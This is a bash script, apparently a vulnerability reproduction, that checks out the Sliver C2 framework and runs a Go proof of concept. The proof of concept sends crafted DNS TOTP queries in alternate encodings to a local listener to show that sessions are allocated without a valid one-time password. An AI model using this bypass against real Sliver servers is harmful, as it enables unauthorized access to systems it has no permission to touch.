#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPO="$ROOT/repo"
if [ ! -d "$REPO/.git" ]; then
  git clone https://github.com/BishopFox/sliver.git "$REPO"
fi

cd "$REPO"
if ! git rev-parse --verify 1d50db6982880a1e538afac2ad8c5f268e62c51a >/dev/null 2>&1; then
  git fetch --all
fi
git checkout 1d50db6982880a1e538afac2ad8c5f268e62c51a

# Create placeholder assets required by server build tags
mkdir -p server/assets/fs/linux/arm64
: > server/assets/fs/src.zip
: > server/assets/fs/linux/arm64/go.zip
: > server/assets/fs/linux/arm64/sgn.zip

cat > "$ROOT/tmp_dns_variant_poc.go" <<'EOF'
package main

import (
  "fmt"
  "net"
  "os"
  "time"

  "github.com/miekg/dns"
  "github.com/bishopfox/sliver/server/c2"
  "github.com/bishopfox/sliver/protobuf/dnspb"
  "github.com/bishopfox/sliver/util/encoders"
  "google.golang.org/protobuf/proto"
)

type attempt struct {
  name   string
  fqdn   string
}

func sendQuery(name string, fqdn string) (net.IP, error) {
  c := new(dns.Client)
  req := new(dns.Msg)
  req.SetQuestion(fqdn, dns.TypeA)
  resp, _, err := c.Exchange(req, "127.0.0.1:8054")
  if err != nil {
    return nil, fmt.Errorf("%s: dns query failed: %w", name, err)
  }
  if len(resp.Answer) == 0 {
    return nil, fmt.Errorf("%s: no answers returned", name)
  }
  a, ok := resp.Answer[0].(*dns.A)
  if !ok {
    return nil, fmt.Errorf("%s: unexpected answer type: %T", name, resp.Answer[0])
  }
  sessionID := net.IP(a.A).To4()
  if sessionID == nil {
    return nil, fmt.Errorf("%s: invalid ipv4 response", name)
  }
  if sessionID.Equal(net.IPv4zero) {
    return nil, fmt.Errorf("%s: session id is zero", name)
  }
  return sessionID, nil
}

func main() {
  listener := c2.StartDNSListener("127.0.0.1", 8054, []string{"example.com."}, false, true)
  go func() {
    if err := listener.ListenAndServe(); err != nil {
      fmt.Fprintf(os.Stderr, "server error: %v\n", err)
      os.Exit(2)
    }
  }()
  time.Sleep(300 * time.Millisecond)

  msgBase := &dnspb.DNSMessage{Type: dnspb.DNSMessageType_TOTP, ID: 0}
  rawBase, err := proto.Marshal(msgBase)
  if err != nil { panic(err) }

  msgOTP := &dnspb.DNSMessage{Type: dnspb.DNSMessageType_TOTP, ID: 424242}
  rawOTP, err := proto.Marshal(msgOTP)
  if err != nil { panic(err) }

  base32 := encoders.Base32{}
  base58 := encoders.Base58{}

  encBase58, _ := base58.Encode(rawBase)
  encBase58Str := string(encBase58)
  splitIdx58 := len(encBase58Str) / 2
  encBase58Chunked := encBase58Str[:splitIdx58] + "." + encBase58Str[splitIdx58:]

  encOTP, _ := base32.Encode(rawOTP)
  encOTPStr := string(encOTP)
  splitIdx := len(encOTPStr) / 2
  encChunked := encOTPStr[:splitIdx] + "." + encOTPStr[splitIdx:]

  attempts := []attempt{
    {name: "variant-base58", fqdn: fmt.Sprintf("%s.example.com.", encBase58Str)},
    {name: "variant-base58-chunked", fqdn: fmt.Sprintf("%s.example.com.", encBase58Chunked)},
    {name: "variant-nonzero-otp-chunked", fqdn: fmt.Sprintf("%s.example.com.", encChunked)},
  }

  successes := 0
  failures := 0
  for _, a := range attempts {
    sessionID, err := sendQuery(a.name, a.fqdn)
    if err != nil {
      failures++
      fmt.Fprintf(os.Stderr, "%s failed: %v\n", a.name, err)
      continue
    }
    successes++
    fmt.Printf("%s succeeded: session id %v\n", a.name, sessionID)
  }

  if successes == 0 {
    fmt.Fprintf(os.Stderr, "No variants produced a session\n")
    os.Exit(1)
  }
  if failures > 0 {
    fmt.Fprintf(os.Stderr, "Some variants failed (%d), but at least one succeeded.\n", failures)
  }
  fmt.Printf("Variant reproduced: alternate encodings/OTP values still allocate sessions.\n")
}
EOF

set +e
GOTOOLCHAIN=go1.20.14 go run -tags "server go_sqlite" "$ROOT/tmp_dns_variant_poc.go" 2>&1 | tee "$LOGS/dns_totp_variant.log"
status=${PIPESTATUS[0]}
set -e

if [ "$status" -ne 0 ]; then
  echo "Variant attempt(s) failed; see $LOGS/dns_totp_variant.log"
  exit 1
fi

echo "Variant reproduced: alternate encodings and non-zero OTP still allocate sessions"
exit 0
